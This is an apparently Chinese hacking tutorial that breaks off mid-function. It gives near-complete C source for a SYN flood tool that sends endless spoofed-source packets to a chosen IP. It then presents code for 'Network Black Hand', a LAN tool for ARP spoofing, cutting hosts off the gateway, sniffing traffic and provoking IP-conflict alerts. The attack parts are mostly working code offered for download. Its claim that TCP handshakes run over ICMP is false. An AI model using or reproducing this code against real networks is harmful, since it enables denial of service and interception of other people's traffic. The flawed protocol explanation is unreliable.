下載本文源代碼和例程 一、 什么是洪水攻擊 洪水之猛、勢不可擋。如果將洪水比作對計算機的攻擊,那大家可以想象得出,攻擊是多的猛烈。 在安全領域所指的洪水攻擊是指向目標機器發送大量無用的數據包,使得目標機器忙于處理這些無用的數據包,而無法處理正常的數據包。在攻擊過程中,目標機 器的CPU的使用率將高于正常值,有時甚至會達到100%。這樣將使目標機器的性能急劇下降。這有些象我們在日常生活中的電話,如果要使某個電話癱瘓,就 不停地撥這個電話的號碼,那么其它的電話就無法撥通這個電話,當然,要想不接到騷擾電話,唯一的方法是將電話線拔了。同樣,要想計算機完全避免洪水攻擊的 唯一方法,就是不讓這臺計算機上網,更直接的就是將網線拔了。 二、 洪水攻擊的原理 洪水攻擊也稱為拒絕服務攻擊。可以有很多種方式進行這種攻擊,本文主要討論比較常用的利用TCP三次握手的漏洞來耗盡計算機資源的方式來進行攻擊。 那么什么是TCP的三次握手呢?其實原理很簡單。這要從TCP的連接過程說起。我們一般使用Socket API來進行TCP連接。要做的只是將IP或計算機名以及端口號傳入connect函數,如果參數正確,目標機器的服務可用的話,這個TCP連接就會成 功。之所以連接這么方便,是因為Socket API已經將一些底層的操作隱藏了起來。那么這里面究竟發生了什么呢? 我們由網絡 7層可知,在TCP所在的傳輸層下面是網絡層,在這一層最有代表性的協議就是IP協議。而TCP數據包就是通過IP協議傳輸的。這就是我們為什么經常說 TCP/IP協議的緣故。TCP在底層的連接并不是這么簡單。在真正建立連接之前,必須先通過ICMP(Internet Control Message Protcol)協議對連接進行驗證。那么如何驗證呢? 假設有兩臺機器A和B。A使用TCP協議連接B,在建立連接 之前,A先發一個ICMP報文(就是一個數據包)給B,B在接收到這個數據包后,利用ICMP報文中的源地址(也就是A的IP)再給A發一個ICMP報 文,A在接到這個ICMP報文后,又給B發了一個ICMP報文,B如果成功接到這個報文后,就正式和A建立TCP連接。過程示意如圖1所示:
圖1 TCP連接的三次握手
問題就出在第二次握手上。如果是ICMP的報文的話,ICMP的源地址應該是A的IP,但如果是一個非法的ICMP報文的話,ICMP的源地址可能并不 是A的IP,也許就是一個并不存在的IP。如果是這樣,那在第二次握手時,B也就無法找到A了,這當然就不可能發生第三次握手。因為,B找不到A,而A又 遲遲得不到B的回信,這樣TCP就無法連接。但攻擊者的目的并不是要建立TCP連接,而是要耗盡B的資源。由于B找不到A,B也就無法得到A的回信,如果 這種情況發生,B并不會將在第一次握手中建立的資源馬上釋放,而會有一個超時,假設這個時間是10秒。如果A在這10秒內向B發送10000個這樣的連接 數據包,就意味著B要維護這10000個連接資源。如果過了10秒,B釋放了這些資源,A在下一個10稱還會發10000個連接包。如果A不斷地發這樣數 據包,就意味著B將永遠要維護這10000個連接,因此,B的CPU和內存將被耗盡,至少也得被占用大部分。所以B就無法響應其它機器的請求,或者是響應 遲緩。
三、 洪水攻擊的實現 在上一部分我們討論了洪水攻擊原理,在這一部分我將給出一個完成的實例說明如何使用C語言來設計洪水攻擊程序。 由于ICMP報文是用IP協議發送的,因此,我們需要自己定義IP數據包的數據結構,這樣我們就可以任意修改IP數據包的內容了。下面是IP協議的數據結構。
typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位總長度(字節) unsigned short ident; //16位標識 unsigned short frag_and_flags; //3位標志位 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
這個結構比較復雜,我們只看其中3個,其余的成員可以參考《TCP/IP詳解 卷1:協議》的相關部分。最后兩個成員sourceIP和destIP就是上述所說的A和B的IP。而最重要的就是checksum,這個參數是一個驗證 碼,用于驗證發送的IP數據包的正確性,我們把這個驗證碼稱為校驗和。計算它的函數如下:
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
看了上面的代碼也許會有很多疑問,下面我就簡單描述一下如何計算機IP數據包的校驗和。IP數據包的校驗和是根據IP首部計算機出來的,而并不對IP數 據包中的數據部分進行計算。為了計算一個數作為校驗和,首先把校驗和字段賦為0。然后,對首部中每個16位進行二進制白馬反碼求和(我們可以將整個IP首 部看成是由一組16位的字組成),將結果保存在校驗和字段中。當收到一份IP數據報后,同樣對首部中每個16位進行二進制反碼的求和。由于接收方在計算機 過程中包含了發送方存在首部的校驗和,因此,如果首部在傳輸過程中沒有發生任何差錯,那么接收方計算的結果應該全是1.如果結果不全是1(即校驗和錯 誤),那么IP就丟棄收到的數據報。但不生成差錯報文,由上層(如TCP協議)去發現丟失的數據報并進行重傳。 由于我們要發送假的TCP連接包,因此,為分別定義一個偽TCP首部和真正的TCP首部。
struct //定義TCP偽首部 { unsigned long saddr; //源地址
unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 } psd_header; typedef struct _tcphdr //定義TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres;//4位首部長度/6位保留字 unsigned char th_flag;//6位標志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位緊急數據偏移量 } TCP_HEADER;
在以上的準備工作都完成后,就可以寫main函數中的內容了。下面是程序的定義部分。
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻擊的默認IP #define FAKE_IP "10.168.150.1" //偽裝IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//錯誤返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每個數據包是128個字節 char DestIP[16]; // 要攻擊的機器IP,在這里就是B的IP memset(DestIP, 0, 4); // 如果通過參數輸入個IP,將DestIP賦為這IP,否則SYN_DEST_IP賦給DestIP if(argc < 2) strcpy(DestIP, SYN_DEST_IP); else strcpy(DestIP, argv[1]); // 以下是聲明Socket變量和相應的數據結構
WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … }
下一步就是初始化Raw Socket
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 { fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket錯誤,輸出錯誤信息 { fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError()); ExitProcess(STATUS_FAILED); }
第二步就是填充剛才定義的那些數據結構
//設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!/n"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節) ip_header.ident=1; //16位標識 ip_header.frag_and_flags=0; //3位標志位 ip_header.ttl=128; //8位生存時間TTL ip_header.proto=IPPROTO_TCP;//8位協議(TCP,UDP…) ip_header.checksum=0;//16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000);//源端口號 tcp_header.th_dport=htons(8080);//目的端口號 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列號 tcp_header.th_ack=0; //ACK序列號置為0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP長度和保留位 tcp_header.th_flag=2; //SYN 標志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校驗和 //填充TCP偽首部(用于計算校驗和,并不真正發送) psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP;//協議類型 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部長度
最后一步是通過一個while循環發送向目標機器發送報文
while(1) { //每發送10000個報文輸出一個標示符 printf("."); for(counter=0;counter<10000;counter++){ if(SendSEQ++==65536) SendSEQ=1;//序列號循環 //更改IP首部 ip_header.checksum=0;//16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列號 tcp_header.th_sum=0; //校驗和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //計算IP校驗和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充發送緩沖區 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //發送TCP報文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError()); } }
到現在為止,我們已經完成了一個洪水攻擊的控制臺軟件。本程序使用VC6.0調試通過。感性趣的讀者可以下載本文提供的完整代碼。在Debug目錄中有 一個exe程序,synflooding.exe,可以通過參數將目標IP傳入exe。如synflooding 129.11.22.33,如果不帶參數,默認就是本機(127.0.0.1)。軟件的運行界面如圖2所示,攻擊后的CPU使用情況如圖3如示。
圖2 攻擊軟件運行界面
原始套接字透析之綜合實例:網絡黑手
為了給本系列文章一個具體的實例,筆者編寫了"網絡黑手"這樣一個免費軟件。它是一種融合了目前許多類似工具軟件功能的具有超強攻擊/偵聽能力的流氓軟件,并可能將成為又一個臭名昭著的破壞性工具,它的功能包括: 1. 檢測本地網絡適配器列表并選擇一個工作適配器; 2. 檢測局域網內指定IP范圍內所有節點的IP地址、MAC地址信息,并列表顯示; 3. 監聽局域網上某節點的所有收發信息; 4. 剪斷局域網上某機器與網關的聯絡,從而讓其不能上網; 5. 不停向局域網內某臺主機發送ARP報文,讓其不斷提示"IP沖突",煩惱不已。 如果你所在的局域網內有人使用此軟件攻擊你的計算機,你將變得痛苦不堪。所以,筆者不得不聲明的是編寫本軟件的目的不在于要荼毒生靈、貽害人間,而僅僅 是為了本系列教程教學和廣大讀者掌握黑客攻防技術的需要。任何個人或組織使用本軟件進行破壞行為,都應受到道德的譴責或可能的法律制裁。 盡管如此,為了防范于未然,筆者在研制"網絡黑手"這一毒藥的同時,也精心研制了其相應的解藥――"網絡黑手終結者",這一軟件也是免費的。在你的網絡內,如果有誰使用了"網絡黑手",你將可以用"網絡黑手終結者"直接終結之! 點擊此處下載網絡黑手; 網絡黑手程序的運行最好先安裝winpcap,請在此地址下載:http://www.winpcap.org/。 1、網絡黑手的實現 網絡黑手0.1版(限于時間的原因,在本教程中我們給出的僅僅是一個教學版本,所以版本號僅為0.1),其界面如下: 界面的左上角用于設置監控的目標范圍(IP地址,如192.168.1.1~192.168.1.254,只能輸入與本機處于同一子網的IP地址)、選 擇本地網卡(對于安裝了多塊網卡的用戶),按鈕"開始"用于啟動監控和其他操作,啟動成功后"開始"按鈕會變為"停止"。
界面的左下角列出活動的與本機處于同一子網機器的主機名、IP地址、MAC地址,在相應的主機上雙擊"Sniffer"和"ARP欺騙"項目可以啟動和停止對該主機的嗅探和ARP欺騙(會切斷該機的外網出口)。 與之對應的數據結構為:
typedef struct tagHostList { unsigned long ip; char mac[6]; bool sniffer; bool arpCheat; bool ipConflict; } HostList;
界面的右邊即為監控到報文的源IP地址、目的IP地址、協議、源端口號、目的端口號以及報文的長度,而表格的最后一行將對應顯示相關IP報文的數據。為 了簡化軟件的設計和減少程序對內存的占用,在Sniffer時,實際緩存的數據包MAX_PACKET最大為30,超過的會自動被覆蓋。 與之對應的數據結構為:
typedef struct tagPacketList { unsigned long srcIp; unsigned long desIp; unsigned char protocol; unsigned long srcPort; unsigned long desPort; unsigned long len; char data[256]; }PacketList;
我們需要在對話框的初始化函數中構造上述界面中的表格項目,相關源代碼如下:
BOOL CNetHackerDlg::OnInitDialog() { CDialog::OnInitDialog(); // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i=0; //… m_hostList.Create(CRect(12,115,435,466),this, 1000,WS_BORDER |WS_VISIBLE |WS_VSCROLL|WS_CHILD); m_hostList.SetScrollRange(1,0,351); m_hostList.EnableScrollBar(ESB_ENABLE_BOTH); m_hostList.SetCols (5); m_hostList.SetRows (256); for (i = 0; i < 256; i ++) { m_hostList.SetRowHeight (i, 13); for(int j =0;j<5;j++) { m_hostList.SetAlignment(i,j,DT_CENTER); } } m_hostList.SetColWidth (0, 100); m_hostList.SetColWidth (1, 130); m_hostList.SetColWidth (2, 50); m_hostList.SetColWidth (3, 55); m_hostList.SetColWidth (4, 70);
m_hostList.SetText (0,0,"IP地址"); m_hostList.SetText (0,1,"MAC地址"); m_hostList.SetText (0,2,"Sniffer"); m_hostList.SetText (0,3,"ARP欺騙"); m_hostList.SetText (0,4,"報告IP沖突"); m_packetList.Create(CRect(444,26,768,466),this, 1000); m_packetList.SetCols (6); m_packetList.SetRows (31); for (i = 0; i < 30; i ++) { m_packetList.SetRowHeight (i, 13); for(int j =0;j<6;j++) { m_packetList.SetAlignment(i,j,DT_CENTER); } } m_packetList.SetRowHeight (i, 47); m_packetList.SetColWidth (0, 75); m_packetList.SetColWidth (1, 75); m_packetList.SetColWidth (2, 32); m_packetList.SetColWidth (3, 45); m_packetList.SetColWidth (4, 55); m_packetList.SetColWidth (5, 40); m_packetList.SetText (0,0,"源IP"); m_packetList.SetText (0,1,"目的IP"); m_packetList.SetText (0,2,"協議"); m_packetList.SetText (0,3,"源端口"); m_packetList.SetText (0,4,"目的端口"); m_packetList.SetText (0,5,"長度"); m_packetList.JoinCells (30,0,30,5); mailDlg = this; return TRUE; // return TRUE unless you set the focus to a control }
右邊表格中最后的一行是多列合并的結果,完成此合并的代碼為:
int XTable::JoinCells (int startRow, int startCol, int endRow, int endCol) { if (startRow < 0 || startRow >= rows) return -1;
if (endRow < 0 || startRow >= rows) return -1; if (startCol < 0 || startCol >= cols) return -1; if (endCol < 0 || endCol >= cols) return -1; if (startRow > endRow || startCol > endCol) return -1; for (int i = startRow; i <= endRow; i++) { for (int j = startCol; j <=endCol; j++) { cells [i * cols + j].SetSpan(0,0); } } cells [startRow * cols + startCol].SetSpan(endRow -startRow+1, endCol - startCol+1); return 0; }
其"反函數"為:
int XTable::UnjoinCells (int row, int col) { if (row < 0 || row >= this->rows) return -1; if (col < 0 || col >= this->cols) return -1; if (cells [row * cols + col].rowSpan <= 1 && cells [row * cols + col].colSpan <= 1 ) return -1; for (int i = row; i <= row + cells [row * cols + col].rowSpan; i++) { for (int j = col; j <= cells [row * cols + col].colSpan; j++) { cells[i*cols+j] = defaultCell; cells [i * cols + j].SetSpan(1,1); } } return 0; }
程序中的IDC_ADAPTERLIST_COMBO控件用于提供用戶選擇本地適配器,獲得本地適配器列表的代碼如下(也處于對話框的初始化函數中):
char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { AfxMessageBox("獲得網卡列表失敗!/n"); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 輸出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str); }
給監控IP地址范圍內的主機發送ARP請求包并獲取反饋,即可獲得監控范圍內活動機器的IP地址和MAC地址,以進行進一步地管理。 發送ARP請求的函數代碼:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { char sendbuf[1024]; ETHDR eth; ARPHDR arp; memcpy(eth.eh_src,mmac,6); eth.eh_type=htons(ETH_ARP); arp.arp_hdr=htons(ARP_HARDWARE); arp.arp_pro=htons(ETH_IP); arp.arp_hln=6; arp.arp_pln=4; arp.arp_opt=htons(ARP_REQUEST); arp.arp_spa=htonl(srcIp); arp.arp_tpa=htonl(desIp); memcpy(arp.arp_sha,srcMac,6); for(int i=0;i<6;i++) { eth.eh_dst[i]=0xff; arp.arp_tha[i]=0x00; }
memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,ð,sizeof(eth)); memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { AfxMessageBox("PacketSendPacket in SendArpReq Error"); } }
雙擊表格中控制Sniffer、ARP欺騙和IP地址重復的欄目,需要變換其中的顯示內容,要么從"ON"到"OFF",要么從"OFF"到"ON"(當然,主機數據結構中的控制屬性也要隨之而改變),相關的代碼為:
void XTable::OnLButtonDblClk(UINT nFlags, CPoint point) { HitTest(point, focusRow, focusCol); SetFocus(); CString str = GetText(focusRow, focusCol); if (str == "ON") { SetText(focusRow, focusCol, "OFF"); switch (focusCol) { case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 0; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 0; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 0; break; default: break; } } else if (str == "OFF") { SetText(focusRow, focusCol, "ON"); switch (focusCol)
{ case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 1; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 1; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 1; break; default: break; } } Invalidate(); CWnd::OnLButtonDblClk(nFlags, point); }
上述代碼中的HitTest()調用比較關鍵,用于獲得當前選中的行和列,我們來看看相關的代碼:
bool XTable::HitTest(CPoint point, int &row, int &col) { for (int i = 0; i < rows; i++) { for (int j = 0; j < rows; j++) { RECT rect = GetRect(i, j); if (rect.top <= point.y && rect.bottom > point.y && rect.left <= point.x && rect.right > point.x) { row = i; col = j; return true; } } } return false; }
在表格的某一格處于焦點時,我們應給其畫一個矩形邊框:
int XTable::Draw(CDC* pDC)
{ //… if (focusRow < rows && focusCol < cols) //** { RECT rect = GetRect (focusRow, focusCol); GetCells (focusRow, focusCol)->DrawHitBorder(pDC, rect, RGB(0xb0, 0xb0, 0xb0)); } return 0; } int XCell::DrawHitBorder (CDC* pDC, RECT rect, COLORREF color) { CPen pen (PS_SOLID, 2, color); CPen* oldPen = pDC->SelectObject(&pen); pDC->MoveTo (rect.left, rect.top); pDC->LineTo (rect.right, rect.top); pDC->LineTo (rect.right, rect.bottom); pDC->LineTo (rect.left, rect.bottom); pDC->LineTo (rect.left, rect.top); pDC->SelectObject(oldPen); return 0; }
獲得IP地址監控范圍內主機列表的方法如下:
m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); Sleep(100); //保證sniff線程已經穩定運行 SendArpReq(1, myip, mmac); while (1) { if (!(!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3])) break; Sleep(100); } for (unsigned long i = fromip; i < myip; i++) { SendArpReq(myip, i, mmac); }
for (i = myip + 1; i <= toip; i++) { SendArpReq(myip, i, mmac); } Sleep(1000); for (i = 0; i < currentHstIndex; i++) { HOSTENT *tmpHostent; tmpHostent = gethostbyaddr((char*)(&(hostList[i].ip)), 16, AF_INET); if (tmpHostent) m_hostList.SetText(i + 1, 0, tmpHostent->h_name); m_hostList.SetText(i + 1, 1, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))) ; m_hostList.SetText(i + 1, 3, "OFF"); CString str; str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 2, str); m_hostList.SetText(i + 1, 4, "OFF"); m_hostList.SetText(i + 1, 5, "OFF"); } m_hostList.Invalidate();
上述代碼的思路是給fromip~min(myip-1,toip),myip+1~toip范圍內的主機發送ARP請求報文并監控其ARP回復,從而獲得其IP與MAC的對應關系。當然,它首先用了同樣的原理來獲取本機的MAC地址。
為了在表格的垂直滾動條滾動時正確的設置滾動條的位置和顯示正確的主機列表,我們應該給XTable添加垂直滾動條消息處理函數:
void XTable::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar *pScrollBar) { // TODO: Add your message handler code here and/or call default static UINT nVWndPos = 0; switch (nSBCode) { case SB_LINEDOWN: case SB_PAGEDOWN:
nPos = nVWndPos + 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_LINEUP: case SB_PAGEUP: nPos = nVWndPos - 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_THUMBTRACK: SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; } for (int i = nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))); if (hostList[i].sniffer == 0) SetText(j + 1, 2, "OFF"); else SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) SetText(j + 1, 3, "OFF"); else SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) SetText(j + 1, 4, "OFF"); else SetText(j + 1, 4, "ON"); } for (; j < MAX_HOST; j++)
{ for (int k = 0; k < 5; k++) SetText(j + 1, k, ""); } Invalidate(); CWnd::OnVScroll(nSBCode, nPos, pScrollBar); }
上述程序依賴于監控(sniffer)相關代碼,核心代碼如下:
DWORD WINAPI Sniff(void *p) { char recvbuf[1024 *250]; memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); if (PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { AfxMessageBox("Unable to set the adapter to promiscuous mode"); return - 1; } if (PacketSetBuff(lpadapter, 500 *1024) == FALSE) { AfxMessageBox("PacketSetBuff Error"); return - 1; } if (PacketSetReadTimeout(lpadapter, 0) == FALSE) { AfxMessageBox("Unable to set the timeout"); return - 1; } if ((lppacketr = PacketAllocatePacket()) == FALSE) { AfxMessageBox("PacketAllocatePacket receive Error"); return - 1; } PacketInitPacket(lppacketr, (char*)recvbuf, sizeof(recvbuf));
while (1) { if (PacketReceivePacket(lpadapter, lppacketr, TRUE) == FALSE) { return - 1; } GetData(lppacketr); } return 0; }
其中調用的函數GetData()用于解析由PacketReceivePacket()函數收到的報文,關于分析ARP_REPLY報文以便獲得局域網主機列表的代碼如下:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp; PIPHDR ip; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { ip = (PIPHDR)(pChar + sizeof(ETHDR));
for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == ip->sourceip || oldHostList[i].ip == ip ->destip) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = ip->sourceip; packetList[currentPktIndex].desIp = ip->destip; packetList[currentPktIndex].protocol = ip->proto; switch (ip->proto) { case IPPROTO_TCP: TCP_HEADER *pTcpHeader; pTcpHeader = (TCP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pTcpHeader->th_sport); packetList[currentPktIndex].desPort = ntohs(pTcpHeader->th_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+20, 255); packetList[currentPktIndex].data[255] = 0; break; case IPPROTO_UDP: UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pUdpHeader->uh_sport); packetList[currentPktIndex].desPort = ntohs(pUdpHeader->uh_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+sizeof(UDP_HEADER), 256); packetList[currentPktIndex].data[255] = 0; break; default: packetList[currentPktIndex].data[0] = 0; break; } currentPktIndex++;
currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == arp->arp_spa || oldHostList[i].ip == arp ->arp_tpa) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = arp->arp_spa; packetList[currentPktIndex].desIp = arp->arp_tpa; packetList[currentPktIndex].protocol = ARP; packetList[currentPktIndex].data[0] = 0; currentPktIndex++; currentPktIndex %= MAX_PACKET;
if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } } } }
我們需要動態追蹤局域網內節點的活動狀態,以定時器實現:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if (sthread == 0) { if (!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3] && !mmac[4] && !mmac[5]) { SendArpReq(1, myip, mmac); return ; } sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); SetTimer(1, 7 *(toip - fromip), NULL); //啟動定時器 } if (WaitForSingleObject(sthread, 0) != WAIT_OBJECT_0) { return ; } //test using self host /* hostList[currentHstIndex].sniffer = 1; hostList[currentHstIndex].ipConflict = 0; hostList[currentHstIndex].arpCheat = 0; hostList[currentHstIndex].ip = htonl(myip); hostList[currentHstIndex].ipConflict = 1; hostList[currentHstIndex].arpCheat = 1; memcpy(hostList[currentHstIndex].mac,mmac,6); currentHstIndex++; */ int i, j; for (i = 0; i < currentHstIndex; i++) { for (j = 0; j < oldHstIndex; j++) {
